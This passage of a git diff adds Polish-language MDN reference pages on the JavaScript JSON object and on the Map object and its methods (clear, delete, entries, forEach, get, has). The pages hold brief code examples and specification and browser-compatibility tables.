+<div>{{JSRef}}</div>
+
+<p>Obiekt <strong><code>JSON</code></strong> zawiera metody do analizy składniowej <a class="external" href="https://json.org/">JavaScript Object Notation</a> ({{glossary("JSON")}}) i konwertowania wartości do formatu JSON. Nie może być on wywołany lub utworzony i oprócz jego dwóch metod, sam w sobie nie ma interesującej funkcjonalności .</p>
+
+<h2 id="Różnice_między_językiem_JavaScript_i_formatem_JSON">Różnice między językiem JavaScript i formatem JSON</h2>
+
+<p>Format JSON jest składnią do serializowania obiektów, tablic, liczb, napisów, wartości logicznych oraz {{jsxref("null")}}. Bazuje na składni języka JavaScript, ale różni się od niego: <em>nie każdy</em> JavaScript to JSON.</p>
+
+<p><strong>Obiekty i tablice</strong>: Nazwy właściwości muszą znajdować się w podwójnym cudzysłowie;  przecinki na końcach (<a href="https://wiki.developer.mozilla.org/pl/docs/Web/JavaScript/Reference/Trailing_commas">trailing commas</a>) nie są dozwolone.</p>
+
+<p><strong>Liczby</strong>: Zera nieznaczące są zakazane. Po przecinku musi się znaleźć co najmniej jedna liczba. Wartości NaN i Infinity nie są wspierane.</p>
+
+<p><strong>Każdy tekst w formacie JSON jest poprawnym wyrażeniem w języku JavaScript</strong> – ale wyłącznie w silnikach JavaScript, które mają zaimplementową możliwości, <a href="https://github.com/tc39/proposal-json-superset">by wszystkie dokumenty w formacie JSON były zgodne ze standardem ECMA-262</a>. W przeciwnym razie, znaki U+2028 (separator linii) i U+2029 (separator akapitów) są dozwolone w literałach znakowych i kluczach w formacie JSON, ale ich użycie w tym konteksie w języku JavaScript skutkuje zgłoszeniem błędu {{jsxref("SyntaxError")}}.</p>
+
+<p>Rozważmy przykład, gdzie funkcja {{jsxref("JSON.parse()")}} przetwarza poniższy literał znakowy jako obiekt JSON, a funkcja <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval</a></code> wykonuje go jako tekst w języku JavaScript:</p>
+
+<pre class="brush: js">var code = '"\u2028\u2029"';
+JSON.parse(code); // działa poprawnie
+eval(code); // zgłasza błąd SyntaxError
+</pre>
+
+<p>Inne różnice to zgoda wyłącznie na literały znakowe w podwójnym cudzysłowie, brak zabezpieczenia dla {{jsxref("undefined")}} lub komentarzy.</p>
+
+<h2 id="Pełna_składnia_JSON">Pełna składnia JSON</h2>
+
+<p>Pełna składnia JSON jest następująca:</p>
+
+<pre class="syntaxbox"><var>JSON</var> = <strong>null</strong>
+ <em>or</em> <strong>true</strong> <em>or</em> <strong>false</strong>
+ <em>or</em> <var>JSONNumber</var>
+ <em>or</em> <var>JSONString</var>
+ <em>or</em> <var>JSONObject</var>
+ <em>or</em> <var>JSONArray</var>
+
+<var>JSONNumber</var> = <strong>-</strong> <var>PositiveNumber</var>
+ <em>or</em> <var>PositiveNumber</var>
+<var>PositiveNumber</var> = DecimalNumber
+ <em>or</em> <var>DecimalNumber</var> <strong>.</strong> <var>Digits</var>
+ <em>or</em> <var>DecimalNumber</var> <strong>.</strong> <var>Digits</var> <var>ExponentPart</var>
+ <em>or</em> <var>DecimalNumber</var> <var>ExponentPart</var>
+<var>DecimalNumber</var> = <strong>0</strong>
+ <em>or</em> <var>OneToNine</var> <var>Digits</var>
+<var>ExponentPart</var> = <strong>e</strong> <var>Exponent</var>
+ <em>or</em> <strong>E</strong> <var>Exponent</var>
+<var>Exponent</var> = <var>Digits</var>
+ <em>or</em> <strong>+</strong> <var>Digits</var>
+ <em>or</em> <strong>-</strong> <var>Digits</var>
+<var>Digits</var> = <var>Digit</var>
+ <em>or</em> <var>Digits</var> <var>Digit</var>
+<var>Digit</var> = <strong>0</strong> through <strong>9</strong>
+<var>OneToNine</var> = <strong>1</strong> through <strong>9</strong>
+
+<var>JSONString</var> = <strong>""</strong>
+ <em>or</em> <strong>"</strong> <var>StringCharacters</var> <strong>"</strong>
+<var>StringCharacters</var> = <var>StringCharacter</var>
+ <em>or</em> <var>StringCharacters</var> <var>StringCharacter</var>
+<var>StringCharacter</var> = any character
+ <em>except</em> <strong>"</strong> <em>or</em> <strong>\</strong> <em>or</em> U+0000 through U+001F
+ <em>or</em> <var>EscapeSequence</var>
+<var>EscapeSequence</var> = <strong>\"</strong> <em>or</em> <strong>\/</strong> <em>or</em> <strong>\\</strong> <em>or</em> <strong>\b</strong> <em>or</em> <strong>\f</strong> <em>or</em> <strong>\n</strong> <em>or</em> <strong>\r</strong> <em>or</em> <strong>\t</strong>
+ <em>or</em> <strong>\u</strong> <var>HexDigit</var> <var>HexDigit</var> <var>HexDigit</var> <var>HexDigit</var>
+<var>HexDigit</var> = <strong>0</strong> through <strong>9</strong>
+ <em>or</em> <strong>A</strong> through <strong>F</strong>
+ <em>or</em> <strong>a</strong> through <strong>f</strong>
+
+<var>JSONObject</var> = <strong>{</strong> <strong>}</strong>
+ <em>or</em> <strong>{</strong> <var>Members</var> <strong>}</strong>
+<var>Members</var> = <var>JSONString</var> <strong>:</strong> <var>JSON</var>
+ <em>or</em> <var>Members</var> <strong>,</strong> <var>JSONString</var> <strong>:</strong> <var>JSON</var>
+
+<var>JSONArray</var> = <strong>[</strong> <strong>]</strong>
+ <em>or</em> <strong>[</strong> <var>ArrayElements</var> <strong>]</strong>
+<var>ArrayElements</var> = <var>JSON</var>
+ <em>or</em> <var>ArrayElements</var> <strong>,</strong> <var>JSON</var>
+</pre>
+
+<p>Nieznaczące białe znaki nie mogą występować tylko wewnątrz <code><var>JSONNumber</var></code> (liczby nie mogą zawierać białych znaków) oraz <code><var>JSONString</var></code> (gdzie jest to interpretowane jako odpowiedni znak w litarale znakowym lub może spowodować błąd). Tabulacja pozioma (<a href="https://unicode-table.com/pl/#0009">U+0009</a>), powrót karetki (<a href="https://unicode-table.com/pl/#000D">U+000D</a>), nowa linia (<a href="https://unicode-table.com/pl/#000A">U+000A</a>) oraz spacja (<a href="https://unicode-table.com/pl/#0020">U+0020</a>) to jedyne prawidłowe białe znaki.</p>
+
+<h2 id="Metody">Metody</h2>
+
+<dl>
+ <dt>{{jsxref("JSON.parse()")}}</dt>
+ <dd>Parsuje literał znakowy na JSON, opcjonalnie przekształca otrzymaną wartosć i ją zwraca. Każde naruszenie składni JSON, wliczając w różnice między językiem JavaScript i JSON, powodują zgłosznie błędu {{jsxref("SyntaxError")}}. Opcja <code>reviver</code> pozwala zinterpretować, co <code>replacer</code> użył zamiast innych typów danych.</dd>
+ <dt>{{jsxref("JSON.stringify()")}}</dt>
+ <dd>Zwraca literał znakowy JSON odpowiadający określonej wartosci, ewentualnie zawierający jedynie niektóre wartości lub ze zamienionymi wartościami w sposób zdefinowany przez użytkownika. Domyślnie, wszystkie instance {{jsxref("undefined")}} są zastępowane przez {{jsxref("null")}} i inne niewspierane typy danych są ocenzurowywane. Opcja <code>replacer</code> pozwala określić inne zachowanie.</dd>
+</dl>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.12', 'JSON')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-json-object', 'JSON')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-json-object', 'JSON')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność">Kompatybilność</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("javascript.builtins.JSON")}}</p>
+</div>
+</div>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toJSON()")}}</li>
+</ul>
+
+<h2 id="Tools">Tools</h2>
+
+<ul>
+ <li><a href="http://jsoncompare.org/">JSON Diff</a> checker.</li>
+ <li><a href="http://jsonbeautifier.org/">JSON Beautifier/editor</a>.</li>
+ <li><a href="http://jsonparser.org/">JSON Parser</a></li>
+ <li><a href="https://tools.learningcontainer.com/json-validator/">JSON Validator</a>.</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/map/clear/index.html b/files/pl/web/javascript/referencje/obiekty/map/clear/index.html
new file mode 100644
index 0000000000..a4e7374127
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/map/clear/index.html
@@ -0,0 +1,87 @@
+---
+title: Map.prototype.clear()
+slug: Web/JavaScript/Referencje/Obiekty/Map/clear
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Mapa
+ - Metodă
+ - Prototyp
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/clear
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>clear()</strong></code> usuwa wszystkie elementy z obiektu <code>Map</code>.</p>
+
+<pre class="brush: js">var map1 = new Map();
+
+map1.set('bar', 'baz');
+map1.set(1, 'foo');
+
+console.log(map1.size);
+// wartość zwracana: 2
+
+map1.clear();
+
+console.log(map1.size);
+// wartość zwracana: 0
+</pre>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.clear();</code></pre>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Używanie_metody_clear">Używanie metody <code>clear</code></h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set('bar', 'baz');
+myMap.set(1, 'foo');
+
+myMap.size; // 2
+myMap.has('bar'); // true
+
+myMap.clear();
+
+myMap.size; // 0
+myMap.has('bar') // false
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Definicja początkowa.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.clear")}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/map/delete/index.html b/files/pl/web/javascript/referencje/obiekty/map/delete/index.html
new file mode 100644
index 0000000000..2016e577f8
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/map/delete/index.html
@@ -0,0 +1,85 @@
+---
+title: Map.prototype.delete()
+slug: Web/JavaScript/Referencje/Obiekty/Map/delete
+tags:
+ - Mapa
+ - Metodă
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>delete()</strong></code> usuwa określony element z obiektu <code>Map</code>.</p>
+
+<pre class="brush: js">var map1 = new Map();
+map1.set('bar', 'foo');
+
+console.log(map1.delete('bar'));
+// oczekiwany wynik: true
+// (true wskazuje na poprawne usunięcie)
+
+console.log(map1.has('bar'));
+// oczekiwany wynik: false
+</pre>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="brush: js">myMap.delete(key);</pre>
+
+<h3 id="Parametery">Parametery</h3>
+
+<dl>
+ <dt>key</dt>
+ <dd>Wymagany. Klucz elementu, który ma zostać usunięty z obiektu <code>Map</code>.</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<dl>
+ <dt>Boolean</dt>
+ <dd>Zwraca <code>true</code>, jeśli element w <code>Map</code> istniał i został usunięty lub <code>false</code>, jeśli nie.</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Używanie_metody_delete">Używanie metody <code>delete</code></h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set('bar', 'foo');
+
+myMap.delete('bar'); // Zwraca true. Udało się usunąć.
+myMap.has('bar'); // Zwraca false. Element "bar" już nie istnieje.
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Definicja początkowa.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.delete")}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/map/entries/index.html b/files/pl/web/javascript/referencje/obiekty/map/entries/index.html
new file mode 100644
index 0000000000..97c049b150
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/map/entries/index.html
@@ -0,0 +1,128 @@
+---
+title: Map.prototype.entries()
+slug: Web/JavaScript/Referencje/Obiekty/Map/entries
+tags:
+ - ECMAScript2015
+ - Iterator
+ - JavaScript
+ - Mapa
+ - Metodă
+ - Prototyp
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/entries
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>entries()</strong></code> zwraca nowy obiekt typu <a href="/pl/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iterator</a> który zawiera pary<code>[klucz, wartość]</code> dla każdego elementu <code>Mapy</code>. Można się do nich odnieść w takiej kolejności, jakiej zostały wstawione.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-entries.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.entries()</code></pre>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Nowy iterator obiektu typu {{jsxref("Map")}}.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Używanie_entries()">Używanie <code>entries()</code></h3>
+
+<pre class="brush:js">var myMap = new Map();
+myMap.set('0', 'foo');
+myMap.set(1, 'bar');
+myMap.set({}, 'baz');
+
+var mapIter = myMap.entries();
+
+console.log(mapIter.next().value); // ["0", "foo"]
+console.log(mapIter.next().value); // [1, "bar"]
+console.log(mapIter.next().value); // [Object, "baz"]
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map.prototype.entries', 'Map.prototype.entries')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Początkowa definicja.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map.prototype.entries', 'Map.prototype.entries')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>38</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{ CompatGeckoDesktop("20") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>25</td>
+ <td>7.1</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>38</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("20")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/map/foreach/index.html b/files/pl/web/javascript/referencje/obiekty/map/foreach/index.html
new file mode 100644
index 0000000000..7280020397
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/map/foreach/index.html
@@ -0,0 +1,104 @@
+---
+title: Map.prototype.forEach()
+slug: Web/JavaScript/Referencje/Obiekty/Map/forEach
+tags:
+ - ECMAScript2015
+ - JavaScript
+ - Mapa
+ - Metodă
+ - Prototyp
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>forEach()</strong></code> wykonuje dostarczoną funcję <code>callback</code> raz dla każdej pary klucz-wartosć <code>Mapy</code> w kolejności, w jakiej zostały zostały wstawione.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-foreach.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.forEach(<em>callback</em>[, <em>thisArg</em>])</code></pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Funkcja wykonywana dla każdego elementu.</dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Wartość przypisywana do <code>this</code> poczas wywołania zwrotnego (funkcja <code>callback</code>).</dd>
+</dl>
+
+<h3 id="Zwracana_wartosć">Zwracana wartosć</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Metoda <code>forEach</code> wykonuje dostarczoną funkcję <code>callback</code> raz dla każdego klucza mapy, który istnieje. Nie jest wywoływana dla usuniętych kluczy, ale dla istniejących z wartością <code>undefined</code> już tak.</p>
+
+<p>Funkcja <code>callback</code> przyjmuje <strong>trzy argumenty</strong>:</p>
+
+<ul>
+ <li><strong>wartość elementu</strong></li>
+ <li><strong>klucz elementu</strong></li>
+ <li>obiekt typu <strong><code>Map</code> do przetworzenia</strong></li>
+</ul>
+
+<p>Jeśli argument <code>thisArg</code> jest dostarczony do <code>forEach</code>, zostaje przekazany do fukncji <code>callback</code> podczas jej wywołania, jako jej własna wartość <code>this</code>.  W przeciwnym wypadku, <code>this</code> przyjmuje wartość <code>undefined</code>. </p>
+
+<p>Każda wartość jest odwiedzana raz, oprócz przypadku, gdzie została usunięta, a następnie dodana ponownie, nim metoda <code>forEach</code> zakończyła swoje działanie. Funkcja <code>callback</code> nie jest wywoływana dla wartości usuniętych przed ich odwiedzeniem. Nowe wartości dodane jeszcze przed zakończeniem <code>forEach</code> zostaną odwiedzone.</p>
+
+<p>Metoda <code>forEach</code> nie zwraca żadnej wartości.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Wyświetlanie_zawartości_Mapy">Wyświetlanie zawartości <code>Mapy</code></h3>
+
+<p>Poniższy kod wyświetla jedną linię dla każdej pary klucz-wartość <code>Mapy</code>:</p>
+
+<pre class="brush:js">function logMapElements(value, key, map) {
+ console.log(`m[${key}] = ${value}`);
+}
+new Map([['foo', 3], ['bar', {}], ['baz', undefined]]).forEach(logMapElements);
+// logs:
+// "m[foo] = 3"
+// "m[bar] = [object Object]"
+// "m[baz] = undefined"
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Definicja początkowa.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.forEach")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Set.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/map/get/index.html b/files/pl/web/javascript/referencje/obiekty/map/get/index.html
new file mode 100644
index 0000000000..a8cb900ed7
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/map/get/index.html
@@ -0,0 +1,80 @@
+---
+title: Map.prototype.get()
+slug: Web/JavaScript/Referencje/Obiekty/Map/get
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Mapa
+ - Metodă
+ - Prototyp
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/get
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>get()</strong></code> zwraca podany element <code>Mapy</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-get.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.get(key);</code></pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt>key</dt>
+ <dd>Wymagany. Klucz elementu, który ma zostać zwrócony.</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Element powiązany z danym kluczym lub <code>undefined</code>, jeśli klucz nie został odnaleziony.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Używanie_metody_get">Używanie metody <code>get</code></h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set('bar', 'foo');
+
+myMap.get('bar'); // zwraca "foo".
+myMap.get('baz'); // zwraca undefined.
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map.prototype.get', 'Map.prototype.get')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Definicja początkowa.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map.prototype.get', 'Map.prototype.get')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.get")}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Map.prototype.set()")}}</li>
+ <li>{{jsxref("Map.prototype.has()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/map/has/index.html b/files/pl/web/javascript/referencje/obiekty/map/has/index.html
new file mode 100644
index 0000000000..14bf4f71dc
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/map/has/index.html
@@ -0,0 +1,85 @@
+---
+title: Map.prototype.has()
+slug: Web/JavaScript/Referencje/Obiekty/Map/has
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Mapa
+ - Metodă
+ - Prototyp
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/has
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>has()</strong></code> zwraca <a href="/pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean">Boolean</a>, który określa czy element o podanym kluczu istnieje.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-has.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.has(key);</code></pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt>key</dt>
+ <dd>Wymagany. Klucz elementu, którego istnienie w <code>Mapie</code> zostanie sprawdzone.</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<dl>
+ <dt>Boolean</dt>
+ <dd>
+ <p><code>true</code>, jeśli dany element istnieje w <code>Mapie</code> - w przeciwnym wypadku <code>false</code>.</p>
+ </dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Używanie_metody_has">Używanie metody <code>has</code></h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set('bar', "foo");
+
+myMap.has('bar'); // zwraca true
+myMap.has('baz'); // zwraca false
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map.prototype.has', 'Map.prototype.has')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map.prototype.has', 'Map.prototype.has')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.has")}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Map.prototype.set()")}}</li>
+ <li>{{jsxref("Map.prototype.get()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/map/index.html b/files/pl/web/javascript/referencje/obiekty/map/index.html
new file mode 100644
index 0000000000..8c0a9833eb
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/map/index.html
@@ -0,0 +1,458 @@
+---
+title: Map
+slug: Web/JavaScript/Referencje/Obiekty/Map
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Map
+translation_of: Web/JavaScript/Reference/Global_Objects/Map
+---
+<div>{{JSRef}}</div>
+
+<p><strong>Map </strong>jest prostym obiektem mapującym klucze na wartości. Każdy element (zarówno obiekt jak i {{Glossary("Primitive", "wartości proste")}}) mogą być użyte zarówno jako klucz jak i wartość.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate">new Map([iterable])</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>Iterable jest tablicą lub innym iterowalnym obiektem, którego elementy są parami typu klucz-wartość (np. 2 elementowa tablica). Każda para klucz-wartość jest dodawana do obiektu new Map. <code>null</code> jest traktowane jako <code>undefined.</code></dd>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Obiekt Map iteruje swoje elementy we wprowadzonej kolejności — pętla {{jsxref("Statements/for...of", "for...of")}} zwraca tablicę  <code>[key, value] </code>dla każdej iteracji.</p>
+
+<p>Należy pamiętać, że kolejność iteracji dla <code>Map</code> mapującej obiekty, w szczególności np. dla słownika słowników, odzwieciedlać będzie jedynie kolejność dodawania obiektów do kolekcji, natomiast kolejność dodawania elementów do samych obiektów nie jest gwarantowana i powinna być traktowana jako losowa.</p>
+
+<h3 id="Równość_kluczy">Równość kluczy</h3>
+
+<p>Klucze porównywane są według algorytmu "same-value" (tej samej wartości).</p>
+
+<p><code>NaN</code> jest traktowana jako równa <code>NaN</code> (mimo tego, że <code>NaN !== NaN</code>). Wszystkie inne wartości są uważane za równe zgodnie z semantyką <code>===</code>  operatora równości.</p>
+
+<p>W obecnej specyfikacji ECMAScript <code>-0 === +0</code>, choć wcześniejsze propozycje zakładały inne zachowanie, co zaowocowało implementacją w niektórych wersjach przeglądarek. Szczegóły zawarte są w  "Value equality for -0 and 0"  w tabeli <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Map$edit#Browser_compatibility">kompatybilności przeglądarek</a>.</p>
+
+<h3 id="Porównanie_Obiektów_i_Map">Porównanie Obiektów i Map</h3>
+
